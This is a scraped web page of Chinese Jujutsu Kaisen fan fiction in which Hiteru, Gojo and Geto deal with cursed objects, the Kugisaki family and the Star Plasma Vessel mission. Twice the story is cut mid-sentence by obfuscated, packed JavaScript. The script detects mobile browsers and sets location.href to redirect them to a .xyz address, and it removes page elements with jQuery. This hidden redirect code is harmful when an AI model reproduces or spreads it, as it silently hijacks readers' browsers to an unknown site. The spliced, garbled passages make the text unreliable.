夏油杰问:“你是准备......出国?” 多鲁布·拉克达瓦拉虽然活跃在倭国大乱的时期,但其本人并非是土生土长在群岛,要是仔细追溯的话更可能是从印度那边过来的。石板上的记述并不全面,虽然能够让日照大致构筑出一个框架,可想要以此让凭依灵魂的肉|体成为能够受肉的咒物,仅仅依靠石板上的内容还是远远不够的。 阿依努咒术联盟保存的古代材料和夜蛾正道交给他的复制灵魂信息到咒骸上的方法他全都看过,形成过一些未经验证的猜想,他也得找个地方去实验一下。在北海道是没办法完成这些实验的,因为在这里玩弄灵魂会被物理意义上地赶出去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260524|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 阿普祖父能够允许他看那些古籍资料就已经让他欠下了一个人情。 希望那老头真像他说的那样,死前把这个约定忘掉吧。 他甚至生出过把宿傩的手指喂给猫猫狗狗然后问问他到底是怎么做到的荒唐想法,但动物能够成为容器这一推断也只是他自己的臆测,更何况请神容易送神难,他还没有疯狂到干这种蠢事。 五条悟眨着眼睛,然后手一挥,换了一个愿望:“那就祈祷那些老头子们赶快死光光好了!” 因为知道说出来就不灵了,才能这般大胆地将心中最希望能够成真、又明确知道不可能成真的事大声说出来。 夏油杰捧场地鼓了两下掌。这段时间夏油杰跟着五条悟了解到不少关于咒术界、御三家、咒术世家和普通咒术师之间的关系,由此他们得出了一个结论。 想要从御三家内部发起变革是不可能完成的事。只要把握总监部的老头子们还活着,只要御三家还有继承了家族思想的人存在,哪怕是新生代也无法完全抹除世家钉在他们脑海里的思想。 五条悟另当别论,但偶尔夏油杰也能看到那些东西留在他身上的痕迹。 于是,他们就必须找那些远离御三家的年轻人。边缘化的咒术世家出身的术师、招募入学的术师等等,只有高专才是这些人的聚集地。 “然后,我们就可以打上总监部,占领咒术界!!老子不想和他们玩过家家的游戏了!!” “我该表扬你没有说自己想要统治全世界吗?”夏油杰把明显有点酒精上头了的五条悟重新拉回水里。 然后他听见五条悟嘟囔着:“好像也不是不行。” 日照:“请给我发零用钱,悟大人。” “弥山!!!” 五条悟开始变得滔滔不绝,大浴场的人多了起来,不少人都选择在晚上来这个露天汤池一边欣赏夜景一边享受温泉。 眼看着他实在待不住,夏油杰和日照一人一边,带着半推半就的五条悟回了房间。放在柜子里的私人物品是劳烦夏油杰新收服的那个胖胖的咒灵代劳拿走的,它是夏油杰的库存中目前唯一一个能分出十根手指头来的咒灵,因此也就只有它能打开那个小小的柜门。 五条悟倒在床上几乎秒睡。 “什么啊,这也太没防备了,他难道在小看自己的赏金吗?” 夏油杰散着头发,他最近开始试着留起长发,尽管受到了班主任和风纪委员严厉的批评,但本人并不在意:“没关系,周围有我的咒灵。” 日照盯着他看了一会儿,转开眼睛:“小孩子都长得这么快吗?” 夏油杰皱起眉,略显无奈地笑道:“我们也不算小了吧?看看悟的个子,我觉得他肯定能长到一米九,最近他还老抱怨腿疼什么的。” “生长痛又不一定和身高增长期重合,肯定是白天训练晚上又偷偷打游戏没好好休息所以才腿疼的吧?” 日照给自己倒了一杯水,拆开了一个茶包:“我们快一年半没见了,对我来说你们就是变化很大啊。” 他指了指夏油杰的头发。 “发型吗?”夏油杰揉揉头,歪着身子斜靠在沙发上:“弥山,你到底准备做什么呢?” 日照端着杯子站在落地窗旁边,鄙之座的所有房间的朝向都经过了特殊设计,露台全都正面阿寒湖。即便深夜开着灯,湖面上也不至于会漆黑一片。夜晚并非一点光亮都不会留下,月亮、纸灯笼、电灯,无数微弱的光亮让阿寒湖的睡颜展露出了一角。 “我准备做什么?” 日照晃晃玻璃杯,看着深沉的褐色从茶包中逐渐扩散。 他突然对这个行为失去了兴趣,转眼望向仍被黑暗笼罩的阿寒湖中心,将头贴着冰凉的玻璃:“你知道咒术界为什么将双子称为不祥的诅咒吗?” “......” 夏油杰多少了解一些,五条悟曾和他提起过只言片语,可更具体的他就不清楚了。 但显然日照也没期待从他口中得到答案,这本就是一场自问自答。 “灵魂一直是个很奇妙的领域。首先,它存在。这一点是一切的基础。” 受肉|体的存在就足以证明灵魂这一概念并非空穴来风。那么灵魂又与何物相关?是肉|体吗?人类在活着的时候由肉|体承载着灵魂,那么死后,灵魂会前往什么地方呢? “有没有天堂或者地狱,那就是另外需要探讨的问题。回归灵魂概念的本质,即‘活着’的时候,肉|体才是和灵魂联系最紧密的东西。” 日照竖起两根并拢的手指,当着夏油杰的面将它们分开。 夏油杰似乎有所领悟。 “在咒术的意义上,同卵双胞胎的灵魂会被认为是同一个。也就是说我们两个的肉|体共同承载着同一个灵魂。” 夏油杰张了张嘴,微弱地反驳道:“可你们......并非同一个人。” 他看到了日照翘起的嘴角,唯一的一只黑色眼睛愉快地弯了下来:“这就是咒术。能将不合常理的事变为现实,不,没准这样才是对的。” “弥山!”夏油杰想要阻止他继续说下去。眼前的这个人已经开始变得完全陌生了起来,他说的每句话句尾都带上了微妙颤音,像是心里装不住的癫狂以这样的方式不受控制地泄露了出来。 “正因我们的灵魂是同一个,”日照从落地窗旁离开,踩着地板上柔软的地毯,“它依旧留存在肉|体之上。” 五条悟不知道什么时候醒的,坐在床上瞪着那双蓝眼睛看向日照。 “看来那个传闻是真的。” 夏油杰发现他们之间有什么事情瞒着自己:“什么传闻?” 日照仰头将玻璃杯中的茶水一饮而尽。 五条悟托着下巴,语气冰冷:“星海下葬的尸体不完整,对吧弥山?你拿走的是眼睛还是手?还是说......” 夏油杰不可置信的目光在五条悟和日照之间来回移动,最后定格在了日照的身上,祈盼得到一个答案。 日照走到自己的背包旁,拉开了拉链。 附加在拉链上的封印术被解开一角,五条悟和夏油杰都非常熟悉的咒力从中逸散了出来。 “这个感觉是......宿傩的手指?” 日照取出两个小小的玻璃瓶:“阿依努的封印术也更新换代了,如果我不解开的话,完全感受不到它的气息对吧?” 玻璃相击,清脆的响声却如同在夏油杰心中开了一枪。 淡白色、略微透着点蓝。 两颗眼珠在清澈的溶液中晃荡着,沉到了瓶底。 52.分路 逃避是不能解决任何问题的,夏油杰明白这一点,但他仍旧在得到答案前想要逃往轻松的一边。哪怕曾经探求答案的那个人是他自己。 可惜日照没有给他逃走的机会。 五条悟从床上下来,坐到了桌子旁的矮凳上,拿起其中一个瓶子放在眼前仔细观察:“你说星海这会儿能听到我们说话吗?他不会像是什么神秘老爷爷一样飘在半空吧?说他坏话会被惩罚吗?” 可惜,六眼什么都没看出来。 日照说:“这是我从天元那里拿走的。” 五条悟放下瓶子:“啊?为什么会跑到祂那里去啊?” 日照意有所指:“老家伙们之间的旧恩怨,总之祂能扣下这双眼睛已经是一场‘胜利’。” 他“嘁”了一声,抱怨道:“这么说总让我觉得祂好像出了很多力似的。” “没想到千年家里蹲也有没解决完的烂摊子啊......是仇人?” 夏油杰插不上话,因此默默坐在沙发上听他们讲。天元......作为全国结界基底、待在东京咒高薨星宫的那位全知的术师。悟没说敬语尚且可以归为他自己的叛逆,但就连弥山也......看来这位天元大人似乎并不如夏油杰了解的那么......接近神明? 日照摊手:“祂没说,我倒觉得不像。那个人很奇怪,被他用术式附身的人额头上会有缝合线,本体是自己的脑子。” 五条悟吐舌头,发出作呕的声音:“哇哦,听起来好恶心。” “我估计墓地里也是空的。”所以日照根本就不再费心关注新坟究竟挖在了哪里,反正按照他对羂索的理解,星海浑身上下没有一个地方会被放过的吧? “怪不得那老头死活都不肯说。”五条悟想起现任家主百般撒谎的模样,打心底里觉得像是在楼道扶手上摸到了一块嚼过的口香糖一样恶心。 日照替五条家主说了句话:“他可能也不知道吧,只是觉得尸体不完整所以不想告诉你。” 五条悟拍着桌子大喊:“那不就更完了吗!那老头彻底被骗了,不会是提前老年痴呆了吧?脑子不好就不要占着家主的位子,赶快滚开让给我就好啊。” “那弥山你说的那个人,目的是什么呢?”夏油杰将偏开的话题拉了回来,找到了问题的关键。 日照将天元、同化、星浆体和羂索之间的事讲述给了五条悟和夏油杰。 五条悟拿着手机日历对了对,说道:“那不就是过两年的事吗?这一次同化他会出手?那弥山你还要在这个时候出国。” 日照摇头:“羂索可是活了上千年的人,他已经两次败给了六眼,这次不会选择亲自出手了。而且,他如果没办法打破因果循环,就算他能杀了悟,同化当天也还会有新的六眼出现。也许是我的眼睛会突变成六眼......” 日照突然想到,羂索不会也有这个忌惮吧?害怕刚才的假设成真?如果是这样也太......该说他小题大做还是谋无遗策? 他深吸一口气:“总之,我要找到能够彻底杀死他的方法。” 如果光论脑力和算计,他是无论如何都没办法超过那个千年的老狐狸的,唯一能够倚仗的就是咒术和一些足够特殊的咒物。也算是他的私心吧,毕竟他那么喜欢咒术。 日照将桌上的两个玻璃瓶放回包里,拉上了拉链。阿依努的封印术很好地履行着自己的职责,将特级咒物的气息掩盖得严严实实。不过铃木花叮嘱过这个封印术的持续时间比不上原来的那种,但日照已经学会了,之后只要及时重新使用封印术就好。 “也就是说,这一次的同化我们可以完全放手了,根本不用管的意思?”五条悟听明白了。既然天元已经通过弥山的术式刷新了肉|体,那么就算这一代的星浆体死掉也无所谓。正好让羂索觉得天元同化失败,可以继续推进下一步计划。 日照回答:“大概。” 五条悟又指向夏油杰:“那么之后只要保证杰这个‘公主殿下’不要被‘恶龙’抓走就能顺利通关了?杰!让伟大的悟骑士来保护你吧!哈哈哈哈!” 夏油杰没忍住踹了一脚他坐的凳子。 听弥山这个意思,天元大人这次同化他不准备插手了。 “总之,到时候我们都上二年级了,没问题的啦!”五条悟看得开,况且他可不认为叫羂索的家伙能杀了他。 五条悟和夏油杰晚上还准备玩新发售的联机游戏,在这方面彻底和他们没有共同语言的日照回自己的房间了。 将星海的双眼制作成咒物的理论过程日照已经推导完毕,不过他制作咒物的方法和多鲁布肯定截然不同。正因为他们是双子,如果两方的肉|体没有同时死去的话,灵魂是不会彻底离散的。所以日照才可以在星海死后用他身体的一部分作为载体,利用夜蛾正道复制灵魂到咒骸上的方法将灵魂信息全数压缩在这双眼睛中。 他这种方式是独一无二的,只有用在双子身上才可能行得通。流落在外、拥有受肉可能性的特级咒物的原主人全都是双子的概率能有多大? 理论虽然完善得差不多了,可施术的材料和地点还要精心挑选。 这里的床足够软和,比日照在阿依努咒术联盟总部的那张要舒服多了。 可他还是睡不着。 黑暗中,他打开了通向露台的门,走到屋外。戴着眼罩的那半张脸更温暖一些,他张嘴呼出一口白气,看着朦胧的雾气在黑暗中消散。偶尔能听见树梢承受不住积雪的重量而折断,一团团的雪落在地上的声音。 在北海道的这一年半,他把阿依努咒术联盟的封印术学了个七七八八,但结界术还是一如既往地烂。这并非指他做不到,而是他比其他能做到的术师要花费更多的精力、咒力来构筑结界。 这对于本就咒力量不多的他来说是个巨大的劣势。出手快意味着他可以在同样的时间内比别人多做一些事,但同样咒力的消耗要更大,他的咒力会比对手更快地枯竭。他没有六眼,无法像五条悟那样做到在运转术式的同时几乎不耗费咒力。 至于被誉为咒术战顶点的领域展开,领悟开启领域的方法对日照来说并非难事,如果像现代术师们追求的那样去构筑一个拥有“必中必杀”特性的领域结界,日照恐怕在一场战斗中只能用一次。 但假设舍弃一些条件,构筑领域结界的消耗就会成倍减少。他的术式【代理人】自带必中效果,因此他的领域可以以舍弃“必中效果”的束缚换来其他的有利条件。至于必杀的效果,日照觉得领域之所以具有必杀效果,是因为它将术师赋予领域的术式的“攻击性”扭曲到了极致,这与领域内会提供类似环境buff 的特点相似。 因此,便可以大大方方地将这一点也扔掉。 日照需要的并非是可以将自身的术式特点以被扭曲放大的姿态呈现出来的、具有广义“必中必杀”效果的领域,而是一个可以对自身术式进行增幅的领域。或者说,一种状态。 但需要注意的是,以舍弃必中效果呈现出来的领域不适用于进行领域间的对抗。两个领域相撞,对方领域的必中效果是需要用己方领域的必中效果去抵消的。 日照当然可以做到保留“必中”,舍弃“必杀”。毕竟他领悟的不是单纯的增幅自身术式效果的结界术,而是货真价实的领域展开,对他来说更改构筑领域结构的条件可能更有利于他的战斗,当然也可以做到保留那些条件。 关于领域展开还有诸多谜团可供他慢慢探究,明白这一点让日照感觉心脏都开始在这样寒冷的夜里活跃了起来。 “下次试试完全扔掉碍事的结界好了。” —— 2005年夏,日照启程前往岩手乡下,寻找姓钉崎的咒术世家。 五条悟在元服礼前把他的头发剪短了,据他发来的短信说五条家的家主老头发出了尖锐爆鸣。不过剪都剪了,也没办法让它在一个月里迅速长出来,反倒是家主老头的头发又秃了不少。 此事肯定有夏油杰在背后煽风点火,因为五条悟对于夏油杰忽悠他但自己却没把长头发剪短这件事耿耿于怀。 日照走的时候阿普神父没有醒过来。北海道的咒灵真的很少,阿普祖父一个月醒来两次都算是多的了,铃木花跟他说有一次阿普祖父整整睡了三个月,吓得佐藤每天都去摸他的脉搏,生怕哪天人没了。 阿普祖父的“睡”并非躺在床上安然入眠,而是与本殿主座后的植物根系融为一体。是字面意义上的,据说是因为咒力和这片大地的结合太过紧密才会出现这样的情况。阿普祖父没醒的时间,本殿的工作基本都在安排咒术师去容易生成咒灵的地方进行例行巡查,或者飞到全国各地检查镇物的封印情况。 “你还真耐得住性子,就算是我们这些人每年也还是有几个星期的假期,一直待在地下真的会觉得自己好像什么穴居动物一样,浑身快发霉了。”铃木花某次敲开他的房门时这样吐槽道。 对日照来说,铃木花是进出北海道各个结界、忌库、书库的钥匙,她索性申请停掉了外出的任务,在本殿里和同僚换了个工作。 “现在都结束了,”日照走的时候还是只带了一个背包,而他身后的房间也像刚住进来时的那样干干净净,“你自由啦。” 铃木花开玩笑地说:“感觉我回到了学生时代,托你的福我狠狠地重新学了一遍封印术......之后我一定得天天出外勤,至少得到处好好玩一玩的吧。” 日照走过一大片农田,因为水渠上正在修桥,附近的村民只能从两颗圆木捆绑起来搭成的简易桥梁上来往过河。 “你是东京人吗?”有小孩站在路边的田埂上,踩着满脚的泥巴跑到日照旁边问。 “这有姓钉崎的吗?” 小孩吸着鼻涕,用脏兮兮的手指了一个方向。 日照顺着他指的方向,将道路两旁所有的房子都看了一圈。 没有。 现在是下午两点,头顶的太阳晒得有些毒辣。他得到的消息不可能是假的,毕竟对冥冥这样以自由咒术师作为未来职业选择的人来说,在老客户心中的信誉度关系着她来钱的渠道,因此不可能提供假消息给他。 他在树荫下找到了那个小孩,蹲下来说道:“你在骗人?” 小孩看了他一眼,不说话。 日照站起身:“说谎的家伙会尿裤子哦。” 钉崎野蔷薇看到她最讨厌的那个男孩提着湿哒哒的裤子嚎哭着往家跑,嫌弃地拉着朋友躲开了。 有一道高大的身影慢悠悠地跟在男孩身后,和钉崎野蔷薇她们擦肩而过。 “那个人,好像不是村子里的人诶。” “是吗?”钉崎野蔷薇听到朋友的话,转过头去看,却只看到了黑色的后脑勺。 日照从钉崎家拿走了破碎的绳文土偶。这个咒具在钉崎家世代相传,因为祖上早有脱离咒术界的想法,故而不再重视这个咒具。不知土偶在哪一代被破坏,之后就一直放在钉崎家的仓库里。 “这个东西用起来也很麻烦,它只是‘一半’。”钉崎祖母和日照说道。 “我知道,”日照拿起土偶看了看它的断面,断掉的部分碎块早就不知道去哪了,“每次用都要重新制作‘千引绳’。” 钉崎祖母看起来有些不可思议:“你是从哪......罢了,你既然能找到这里,知道它们的用法也就不稀奇了。” 钉崎家的相传术式【刍灵咒法】,将术式对象的一部分放入稻草人偶,再通过钉子将咒力注入其中。只要满足这些条件,术式也可以远距离发动。绳文土偶与千引绳的使用方法和【刍灵咒法】一模一样,将目标的一部分用千引绳捆绑,放置在绳文土偶的脖子上,然后注入咒力。 “那也是仪式的一种。这两种咒具共同使用,目标的肉|体就会被视作一个‘领域’,注入咒力,就相当于摧毁了那个领域。” 也就是说,从肉|体到目标的灵魂都会被彻底毁去。 正因这不讲理的诅咒之力,得到千引绳的方法也困难非常,每进行一次仪式,制作出来的千引绳也会随之毁去。如果想要再次使用绳文土偶,就必须重新制作千引绳。 “我知道了。”日照将看起来十分易碎的绳文土偶裹好,放入了背包中。 拉上拉链的那一刻,他察觉到有人在看着他,随即转过头去,看到了扒在墙边的小女孩。发现他看过来之后,钉崎野蔷薇迅速跑走了。 “那是我的孙女,”钉崎祖母叹了一口气,“我现在最后悔的就是在她面前说起过咒术的事,偏偏她也能看见咒灵。” 日照起身:“【刍灵咒法】这种术式是那些人最喜欢的一类。” 钉崎祖母背着手将他送到门口:“正因如此我才想让她离咒术界远一些。魔窟一样的世界不值得孩子们再那样拼命了。” 不知道她想起了什么,曾经赫赫有名的刍灵术师现在只想守着自己的孙女不要重蹈覆辙。 日照没再说其他的,道别后快步消失在了黑夜中。 钉崎祖母关上门,对只露出一个头来偷看的女孩说:“野蔷薇,我不是说不让你听吗?” 女孩鼓起脸颊:“可是祖母!我就是......” —— 2006年夏。 入赘伏黑家的伏黑甚尔接到了孔时雨打来的电话。 “三千万?”伏黑甚尔被拿着拖把的惠踢在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16260525|180318||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了脚上,用肩头夹着手机,抬脚让开了沙发前的地方,男孩快速把地面清理了一番。 “是啊,”孔时雨站在一栋办公楼的高层,透过落地窗看着远处同样层数极高的酒店里某间泛着滚滚浓烟的房间,“怎么样,你要接吗?星浆体的暗杀计划。” 伏黑甚尔伸手去拿遥控器,刚想调转频道,就看到伏黑津美纪举着作业本站在电视前,用谴责的目光看着他。 “臭老爹你就不能干点正事吗!?津美纪的社会课作业要写新闻内容的!!不许换台!!” 伏黑惠的声音从厨房传了出来,伏黑甚尔举手投降。 电话那边的孔时雨笑了两声,把烟蒂摁在垃圾桶上辗灭:“你听起来很忙啊,禅院。小惠还好吗?” “啊?他好得很,”伏黑甚尔走到厨房揉乱了儿子的头发,从冰箱里拿出一罐冰牛奶,“算了吧,我又不缺钱。而且我现在姓伏黑,别再叫我那个姓了。” 为了报复伏黑惠踢他的那一脚,恶劣的大人在孩子的屁股上小小地回了一膝盖。尽管天与暴君真的只用了一小小小小点力气,可伏黑惠还是向前踉跄了几步才站稳。 “你老爹我干了不少正事呢,哼。” 孔时雨似乎对此已经习以为常:“我就知道......还以为你在妻子去世之后能回来赚钱,结果没想到居然还能安安分分地过日子啊。” 伏黑甚尔笑了两声,想到自己现在的金主,又不由自主地笑道:“没办法,谁叫我找到了能够简单赚钱的方法了呢?” 而且。 “小惠就拜托你了哦。” 她都这么说了。他总是拿她没办法。 孔时雨放弃了从暗杀星浆体的任务中大赚一笔的想法,干脆利落地挂断了电话。 伏黑甚尔将手机扔回沙发上,津美纪正趴在客厅的桌子上认真记录着新闻报道的内容,儿子在卧室里不知道在干什么。 孔时雨是在星浆体的任务里赚不到钱,可那和他伏黑甚尔,哦不,在拿钱的时候他其实不介意姓五条,总之,和他天与暴君有什么关系呢? 五条悟和夏油杰围绕着天内理子所在的学校将所有找上门来的诅咒师统统揍飞了。 “哈?你说那家伙的老婆跟人跑了?”夏油杰收回踩在诅咒师胸口的脚,还有余力和五条悟聊八卦。 “没错啊,上次给他打钱的时候他自己说的,一点也听不出来生气或者别的什么,所以我就说他们只是搭伙过日子而已,那家伙又爱把钱赌的精光,肯定是觉得跟着他没前途呗。” 数十把飞刀攻至五条悟的面前,却在咫尺间停滞了下来,不得寸进。 “可恶,”Q的诅咒师拜艾尔暗骂了一句,这就是五条家的【无下限咒术】,那小鬼已经用得炉火纯青了,“可恶的高专小鬼们!” 盘星教给的太多,不然没人愿意淌这趟浑水。 “我记得对面不是也带了个孩子吗?他不会把人家小姑娘丢开了吧?”夏油杰在几次和他合作的过程中中了“伏黑甚尔人品消失术”,对他报以十二分的不信任。 “这倒是没有,惠说他们还没和津美纪说她妈妈抛下她的事。” “......你什么时候有人家小孩子的联系方式了啊?” 五条悟翻了个白眼,身前的飞刀叮叮当当地掉了一地:“那个肌肉大猩猩给他儿子买了手机啊。” 夏油杰觉得自己可能已经对伏黑甚尔产生了某种偏见,从现在开始他会试着改变自己对天与暴君的看法。应该还是担心小孩子们自己在家不安全吧。 拜艾尔:“不许无视我啊臭小鬼们!!!” 天内理子上完了她在廉直女子学院的最后一堂课,和不知道她为何看起来有点伤心但仍愿意给她一个拥抱的好朋友道别,她在校门口见到了被众多女生包围的两个人。 “真意外呐,我还以为五条桑会比夏油桑更受欢迎,结果居然是夏油桑获得了最终胜利吗!?” 天内理子将书包交给黑井美里,和他们并排走在洒满黄昏的柏油路上。 “切。”五条悟发出不满的哼唧。 “嘛,毕竟悟的性格也就那样了,被脸吸引来的女孩子们很快就能被那张嘴赶走的说。”夏油杰笑眯眯的。 “啊?杰你这家伙给我解释清楚!什么叫‘就那样了’!?你对老子有什么不满吗!?” “就是这个啊!你生气为什么要扯我的制服......悟!!你找打吗!?这是我最后一件完好无损的夏装!!!” “哼,谁管你啊!” “我要告诉硝子你偷偷拿走了她的啤酒。” “那不是你要喝的吗!!?” “那也是你拿的。” “杰你......” 天内理子已经开始计划最后几天去哪里玩了。天元大人答应在同化之前要尽可能满足她的一切愿望,这正是出门旅游的最后时机!不能去太远,当然也不能去太大众的地方。要说她有什么想看的...... “咳咳!妾身已经决定好了!”她向前跑出几步,挺起胸膛,对着还在吵架的五条悟和夏油杰说:“明天的计划......” “你还说那天的那发安打不是故意朝我的头打过来的!?那分明就是你故意的!?” “啊?你还有脸说我?谁投球的时候照着我的脸扔的啊!!” 天内理子恼羞成怒:“你们是小学生吗!!!好好听妾身说话啊——!!!” “啊哈哈......”黑井美里擦了擦脑门上的汗。 见自己终于将所有人的注意力都吸引了过来,天内理子清了清嗓子,重新宣布:“决定了!明天我想去冲绳的波上宫......” “否决!否决!!” “这恐怕不太行,理子妹妹。” 天内理子失落地抱住膝盖蹲在地上:“为什么啊?” 没想到只是这一句就把刚才还吵吵闹闹的两个高专学生问的偃旗息鼓,半天也没有声音。 天内理子:“?” 难不成波上宫昨天被炸飞了? 咒术界封锁消息的能力还真厉害,夏油杰心道。熔海事件发生后,周围附近将近半径五公里的范围内都被设为了禁区,波上宫自然也在其中,甚至这间百年神社连一根木头都没有留下来。 可是如果不是有心去网络上搜索的话,根本不会有人能从其他渠道知道“波上宫迁址,正在大修,暂不开放”的消息,自然也没有任何的讨论度。 “总之,冲绳可以,那霸不行。”哪怕天内理子摆出一副可怜兮兮的表情,夏油杰依旧定下了这条底线。 最终他们选择了去冲绳北部。 53.困于火宅般的夏日 冲绳北部本部町,美丽海水族馆,天内理子见到了心心念念的黑潮之海。 “就算你这么说......”庵歌姬看了一眼正在开车的物部式,觉得五条悟实在喜欢为难人:“物部前辈也才刚进总监部不到一年,你这也太着急了,五条。” 五条悟隔着玻璃戳弄海水里的彩色小鱼:“毕竟机会难得嘛,让他帮我们多留意一些喽。” 物部式歪歪头,示意庵歌姬把手机放到他耳边:“我尽力。老实说没想到物部家的身份反倒让他们放松了不少限制,但歌姬说得对,我还需要更多时间。” 与御三家并非同路、勉强算得上是世家、个人意识并不突出的物部式被总监部纳入了可吸纳之人的名单。现在也只能在权力最边缘打转,但也算是开了个好头。 “那就拜托你喽!” “你还真是不客气。” 五条悟听见庵歌姬在电话那头吐槽“他们五条家的都是这样”的声音。 水族馆里的温度还是有点低,天内理子穿着她最喜欢的白色长裙,走在黑潮之海的水箱前。八米高的巨型观景玻璃之后,数条鲸鲨和无数叫不出名字的海洋生物们悠然游弋,向上望不到水面,只有粼粼波光在水中落下。 她看得有些忘我。 黑井美里没有上前打扰她。 “我们回去吧。”天真烂漫的少女微笑着说。 五条悟看了眼时间:“现在还早得很啊,你玩够了?” 天内理子不确定地确认了一下:“可是回东京的最后一班航班......” “理子妹妹,”夏油杰歪头笑着说,“你可以在冲绳待到我们任务时间结束,也可以选择趁这个机会去别的地方玩。” “那同化......?” 今天就是同化的那一天。是天内理子作为“天内理子”存活的最后一天,她过去的每一天似乎都是在为了今天而活。 她早已接受了自己的命运。 在酒店的那番宣言是她最真实的想法,能与天元大人合为一体,作为全国结界的根基永居薨星宫,是星浆体的使命。 “哼,果然还是个小鬼头,太高兴了也会哭鼻子吗?”五条悟将胳膊搭在夏油杰的肩膀上,仿佛在嘲笑天内理子那些夺眶而出的眼泪一样嬉皮笑脸地说。 “天元大人的同化其实已经完成了,以非正常手段......理子妹妹,我们的任务并非将你送到薨星宫抹消,而是在同化期间保证你的安全。” 天内理子用双手抹着不停流出的眼泪,抽噎着问:“也、也就是说......” “也就是说你这个星浆体没用啦!”五条悟甩着墨镜:“不过这也是秘密,所以还是会有不少傻子选择铤而走险。但是有我们在的啦,一切都没有问题!我们可是最强的!” 夏油杰伸出一只手,黑井美里早在他们身后捂着嘴泣不成声。 “我们走吧,理子妹妹。” “......嗯!” 这只手还没有长大,它的主人还必须好好用它握住笔、握住自己的未来才行。 天内理子切实地握住了夏油杰的手。 结束了冲绳之行,同化的时间也彻底过去了。天内理子和黑井美里在五条家的安排下出国,五条悟和夏油杰腾出手来去解决在天元同化期间闹得最凶的盘星教。 盘星教时器会诞生自奈良时代,是信仰、崇拜天元的宗教团体,成员都是非术师,正因如此咒术师们基于各种原则无法对占据了普通人立场的盘星教教徒出手。但是,咒术师的规矩关他伏黑甚尔什么事! 五条悟感叹:“这家伙在这种事情上简直太好用了。” 盘星教时器会本部星之子之家,伏黑甚尔坐在鼻青脸肿的法人代表园田茂身上,似笑非笑地看着地下空间里乌泱泱的、身穿白色衣服的人群:“还没听明白?你们的天元大人已经完成了同化,赶紧解散吧。散会了散会了!” “胡说!天元大人怎么能被那种杂质污染......我不信!” “怎么会!?” “不可能!园田先生!你说句话啊!快告诉我们这不是真的!” 信仰“纯粹”的天元的盘星教教徒们认定星浆体是杂质,因此绝对不允许他们混入其中。在这种扭曲的崇拜之下,与星浆体同化就演变成了“教典明示的禁忌”,所以不论有谁要为此付出怎样的代价,他们都不会允许星浆体继续活下去。 “真是,一群脑子有问题的家伙,”伏黑甚尔挠头,从园田茂身上起来,抬起手臂亮出刀,“没办法,那就都砍了吧。” 他说罢作势准备起来,身上的肌肉绷紧,目露凶光。 那是被人血洗礼过的人才能拥有的眼神。 有人坚持不住,转身就跑。有了带头的,不论是本就想走又不肯做第一个跑的还是被人群裹挟不得不离开,转眼间地下空间里已经不剩几个人了。 “呵,看来还有几个有点胆量。”伏黑甚尔毫不留情,直接把他们揍成和园田茂一个德行,一手拎着三四个人,将他们丢到了盘星教本部外的水池里。 看着打到账户上的转账,伏黑甚尔笑得露出满嘴白牙:“太轻松了。晚上再赌一把吧。” 下一秒金主的短讯就发了过来:“再赌你以后的薪酬就扣在我这当惠和津美纪的学费喽。” 伏黑甚尔表演了一个笑容消失术。 “......可恶的五条小鬼!!!” 五条悟:笑嘻嘻。 夏油杰取完票回来,刚准备坐下就感受到兜里的手机嗡嗡响了两声。他翻开手机盖,看到夜蛾正道给他发的消息。 “悟,”他叫了一声,“夜蛾老师让我们去那霸转一圈。” “......去那干嘛。” 机场的广播一个接一个地播报着即将开始检票的航班号,偶尔还会有寻人启事和呼叫某位即将误机的乘客的声音。 他们身后就是机场跑道,飞机滑翔起飞和落地的噪音开始变得有些吵人。 “反正来回只需要半个小时,”夏油杰没有看身边人的神色,把机票收到兜里,伸长腿自顾自地说,“走吧。” 五条悟没有同意,也没有反对。在夏油杰起身后他又在凳子上坐了几秒钟,最终还是一个挺身跟了上去。 进入“禁区”对他们来说不是难事,全年无休设下的“帐”也恍若无物。 进到笼罩了整个波之上海滩的“帐”里,就连五条悟的苍蓝眼瞳也好像蒙上了一层阴影。他冷着脸和夏油杰走到了坑边。 这个地方根本就不可能再变回原样了。 原本还算平缓的海岸线完全向陆地内凸出了一块,塌陷的巨型坑洞底部已经满是倒灌的海水。如果从上空俯瞰的话,从原本海岸线存在的地方向深海的方向出现了一个漆黑的半圆,那是被那场战斗吞掉的大陆架,底部的泥沙和岩石被冲击向外推出,堆积在尽头形成了一个小小的岛弧。 他们站的地方就是原来波上宫存在的位置。 现在已经什么都没了。 “有很多诅咒啊。”五条悟开口道。 看得见的,看不见的,有太多太多的遗恨。 被当做棋子设局死去的高专学生,什么都不知道就被困死在“帐”内的普通人,还有那个在这里被祓除的特级咒灵。不出十年,这里还会生成全新的诅咒。 “......” 夏油杰蹲了下来,双手合十,闭眼低头默默哀悼。五条悟站在他身边,苍天之瞳看着不停拍打着坑洞边缘的海浪,不知道在想什么。 那年夏天他们很忙,五条悟领悟了反转术式成了名副其实的最强,和夏油杰一起得到了特级咒术师的称号。在物部式的努力下,总监部通过了新的规定。高专学生不论级别,在出任务时必须遵守至少两人同行的原则。 夏油杰从产土神咒灵口中救下灰原雄的瞬间冷不丁地打了一个寒颤。 “要是没有夏油学长,这次我恐怕真的会死吧!”他们两个全都狼狈极了,但死地求生的畅快让这个永远活力满满的学弟变得更加兴奋。 “别说这种不吉利的话了.....” “我必须变得更厉害才行!夏油学长,请您继续看着我吧!我一定会更加努力锻炼的!” 